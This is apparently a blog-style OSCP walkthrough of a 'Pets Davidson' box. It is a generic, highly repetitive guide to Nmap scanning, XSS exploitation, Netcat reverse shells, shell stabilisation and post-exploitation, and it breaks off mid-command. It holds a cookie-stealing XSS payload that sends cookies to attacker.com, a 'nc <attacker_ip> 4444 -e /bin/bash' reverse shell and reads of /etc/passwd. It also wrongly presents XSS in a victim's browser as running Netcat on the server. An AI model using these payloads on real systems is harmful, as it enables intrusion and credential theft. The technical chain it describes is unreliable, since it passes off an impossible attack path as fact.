OSCP SXSS: Pets Davidson Walkthrough & Exploitation

Hey guys! Today, we're diving deep into the OSCP SXSS challenge, specifically focusing on the Pets Davidson box. This box is an excellent exercise for honing your web application exploitation skills, particularly around Cross-Site Scripting (XSS). We'll walk through the entire process, from initial enumeration to gaining a shell, so buckle up and get ready to learn!

Initial Reconnaissance: Laying the Groundwork

So, you want to start with initial reconnaissance? I always emphasize the importance of thorough reconnaissance in any penetration testing scenario. It's like building a strong foundation for a house – without it, everything else is likely to crumble. For Pets Davidson, we'll begin by firing up our trusty Nmap to scan for open ports and services. This will give us a bird's-eye view of the attack surface. Once we've identified the open ports, we'll dig deeper to understand what services are running behind them. Are we looking at a web server? An SSH server? Maybe a database? Each service represents a potential avenue for attack. For web servers, tools like Nikto or Burp Suite can be invaluable in identifying vulnerabilities such as outdated software, misconfigurations, or exposed files. Remember, the more information you gather during this initial phase, the better equipped you'll be to exploit the system later on. Don't rush this process – patience and attention to detail are key. The goal is to map out the landscape and identify any weaknesses that we can later exploit. Pay close attention to the versions of software running, as these can often lead you directly to known vulnerabilities with readily available exploits. Also, be sure to check for common misconfigurations, such as default credentials or exposed administrative interfaces. The more you know, the better your chances of success.

Nmap Scan: Unveiling the Attack Surface

Let's kick things off with an Nmap scan. Nmap is our go-to tool for network exploration and security auditing. We'll use it to identify open ports and the services running on the Pets Davidson box. A basic Nmap scan might look something like this:

nmap -sV -p- <target_ip>

This command tells Nmap to perform a version scan (-sV) on all ports (-p-) of the target IP address. The results will show us which ports are open and what services are running on those ports. Common open ports might include:

• Port 22: SSH (Secure Shell)
• Port 80: HTTP (Web server)
• Port 443: HTTPS (Secure Web server)

If we find a web server running on port 80 or 443, that's a good indication that we should focus our efforts on web application vulnerabilities. We can then use tools like Nikto or Burp Suite to further investigate the web server and identify potential weaknesses. Remember to always be thorough in your reconnaissance. The more information you gather, the better equipped you'll be to exploit the system. Pay attention to the versions of software running, as these can often lead you directly to known vulnerabilities with readily available exploits.

Web Application Analysis: Digging Deeper

If the Nmap scan reveals a web server, it's time for web application analysis. This involves manually browsing the website, examining its functionality, and identifying potential vulnerabilities. Look for input fields, forms, and any areas where user input is processed. These are prime targets for XSS and other injection attacks. Use your browser's developer tools to inspect the HTML source code, JavaScript files, and network traffic. This can reveal hidden information, such as API endpoints, comments, or sensitive data. Pay close attention to how the application handles user input. Does it properly sanitize and validate data before processing it? Are there any obvious flaws in the input validation logic? Try submitting different types of input to see how the application responds. For example, try entering special characters, long strings, or malicious code. Use tools like Burp Suite to intercept and modify HTTP requests and responses. This allows you to manipulate the data being sent to the server and observe how the application reacts. Look for opportunities to inject malicious code, such as JavaScript or SQL, into the application. Remember to always be ethical and responsible when performing penetration testing. Only test systems that you have permission to test, and never attempt to access or modify data that you are not authorized to access.

Exploitation: Unleashing the XSS Power

Alright, let's get to the juicy part – exploitation! Now that we've identified potential XSS vulnerabilities, it's time to exploit them. XSS, or Cross-Site Scripting, is a type of web security vulnerability that allows attackers to inject malicious scripts into websites viewed by other users. These scripts can then be used to steal cookies, redirect users to malicious websites, or even deface the website. There are several types of XSS vulnerabilities, including:

• Reflected XSS: The malicious script is reflected back to the user from the web server.
• Stored XSS: The malicious script is stored on the web server and executed whenever a user visits the affected page.
• DOM-based XSS: The vulnerability exists in the client-side JavaScript code, rather than the server-side code.

To exploit an XSS vulnerability, we need to craft a malicious script that will be executed by the victim's browser. This script can be as simple as displaying an alert box or as complex as stealing the user's cookies and sending them to a remote server. The key is to find a way to inject the script into the web page in a way that it will be executed by the browser. This often involves bypassing input validation filters or encoding the script in a way that it will not be detected. Once we've successfully injected the script, we can then use it to perform various malicious actions, such as stealing cookies, redirecting users, or defacing the website. Remember to always be ethical and responsible when performing penetration testing. Only test systems that you have permission to test, and never attempt to access or modify data that you are not authorized to access.

Crafting the XSS Payload: The Art of Deception

Crafting the XSS payload is where the magic happens. We need to create a malicious script that will be injected into the web page and executed by the victim's browser. The payload can be as simple as an alert box:

<script>alert('XSS')</script>

Or it can be more complex, such as stealing the user's cookies and sending them to a remote server:

<script>var cookie = document.cookie; window.location='http://attacker.com/steal.php?cookie='+cookie;</script>

The key is to tailor the payload to the specific vulnerability and the desired outcome. We need to bypass any input validation filters or encoding mechanisms that might be in place. This often involves using various encoding techniques, such as URL encoding, HTML encoding, or JavaScript encoding. We can also use obfuscation techniques to make the payload more difficult to detect. For example, we can use string concatenation or character encoding to hide the malicious code. The possibilities are endless, and the only limit is our imagination. Remember to always test your payloads thoroughly to ensure that they are working as expected. Use your browser's developer tools to inspect the HTML source code and JavaScript console to see if the payload is being executed correctly. Also, be aware that some browsers have built-in XSS filters that can block malicious scripts. If your payload is being blocked, you may need to find a way to bypass the filter. This can involve using different encoding techniques or finding alternative ways to inject the script into the web page. Remember to always be ethical and responsible when performing penetration testing. Only test systems that you have permission to test, and never attempt to access or modify data that you are not authorized to access.

Injecting the Payload: The Moment of Truth

Now comes the payload injection! With our carefully crafted XSS payload in hand, it's time to inject it into the vulnerable web application. This typically involves submitting the payload through an input field, URL parameter, or other means of user input. The exact method of injection will depend on the specific vulnerability and the application's input validation logic. For example, if the application is vulnerable to reflected XSS, we might inject the payload into a URL parameter:

http://example.com/search?q=<script>alert('XSS')</script>

If the application is vulnerable to stored XSS, we might inject the payload into a comment field or forum post. Once the payload is injected, we need to trigger the vulnerability by visiting the affected page or performing the action that causes the payload to be executed. This might involve clicking a link, submitting a form, or simply refreshing the page. If the injection is successful, the payload will be executed by the victim's browser. This might result in an alert box being displayed, the user being redirected to a malicious website, or the user's cookies being stolen. The possibilities are endless, and the only limit is our imagination. Remember to always test your payloads thoroughly to ensure that they are working as expected. Use your browser's developer tools to inspect the HTML source code and JavaScript console to see if the payload is being executed correctly. Also, be aware that some browsers have built-in XSS filters that can block malicious scripts. If your payload is being blocked, you may need to find a way to bypass the filter. This can involve using different encoding techniques or finding alternative ways to inject the script into the web page. Remember to always be ethical and responsible when performing penetration testing. Only test systems that you have permission to test, and never attempt to access or modify data that you are not authorized to access.

Gaining a Shell: The Ultimate Goal

The ultimate goal of many penetration tests is to gain a shell on the target system. A shell is a command-line interface that allows us to execute commands on the system and interact with its operating system. There are several ways to gain a shell using XSS, depending on the specific vulnerability and the target system's configuration. One common technique is to use XSS to inject a JavaScript payload that downloads and executes a reverse shell. A reverse shell is a type of shell that connects back to our attacking machine, allowing us to control the target system remotely. To create a reverse shell, we can use tools like Metasploit or Netcat. We'll need to specify the target IP address and port number that the reverse shell will connect to. Once the reverse shell is created, we can inject it into the web application using XSS. When the payload is executed by the victim's browser, it will download and execute the reverse shell, giving us a shell on the target system. From there, we can explore the file system, escalate our privileges, and perform other actions. Remember to always be ethical and responsible when performing penetration testing. Only test systems that you have permission to test, and never attempt to access or modify data that you are not authorized to access.

Reverse Shell with Netcat: A Classic Approach

One of the simplest ways to obtain a shell is via a reverse shell with Netcat. To do this, we'll start by setting up a listener on our attacking machine using Netcat:

nc -lvnp 4444

This command tells Netcat to listen (-l) for incoming connections on port 4444. The -v option enables verbose mode, and the -n option disables DNS lookups. Next, we'll craft an XSS payload that executes a Netcat command on the target system to connect back to our listener. The exact syntax of the command will depend on the target system's operating system. For example, on a Linux system, the command might look like this:

 nc <attacker_ip> 4444 -e /bin/bash

We can then inject this command into the web application using XSS. When the payload is executed by the victim's browser, it will execute the Netcat command, causing the target system to connect back to our listener. Once the connection is established, we'll have a shell on the target system. From there, we can explore the file system, escalate our privileges, and perform other actions. Remember to always be ethical and responsible when performing penetration testing. Only test systems that you have permission to test, and never attempt to access or modify data that you are not authorized to access.

Stabilizing the Shell: Making it Permanent

Once you've got your shell, it might be a bit unstable. Time to stabilize the shell! Upgrading to a fully interactive TTY shell is crucial for ease of navigation and executing commands effectively. There are several ways to achieve this. One common method involves using Python. First, check if Python is available on the target system by running python -c 'import pty; pty.spawn("/bin/bash")' in your current shell. If Python is present, this command will spawn a new interactive bash shell. If you encounter issues with the terminal settings, you can try setting the TERM environment variable. For example, export TERM=xterm might help. Additionally, pressing Ctrl+Z to background the Netcat process and then using stty raw -echo followed by fg to bring the process back to the foreground can further stabilize the shell. Finally, stty sane can reset the terminal settings to a more usable state. By implementing these techniques, you can transform a basic reverse shell into a robust and interactive environment for further exploitation and post-exploitation activities. Always ensure you have the necessary permissions before attempting to stabilize a shell on a target system.

Post-Exploitation: What's Next?

With a stable shell in hand, the possibilities are endless. Post-exploitation is the phase where we leverage our access to gather more information, escalate privileges, and potentially pivot to other systems on the network. Here are a few common post-exploitation tasks:

• Gathering System Information: Use commands like uname -a, cat /etc/os-release, and lsb_release -a to gather information about the target system's operating system, kernel version, and distribution. This information can be useful for identifying known vulnerabilities and finding exploits.
• Enumerating Users and Groups: Use commands like cat /etc/passwd and cat /etc/group to enumerate the users and groups on the system. This can help you identify potential targets for privilege escalation.
• Searching for Sensitive Files: Use commands like `grep -r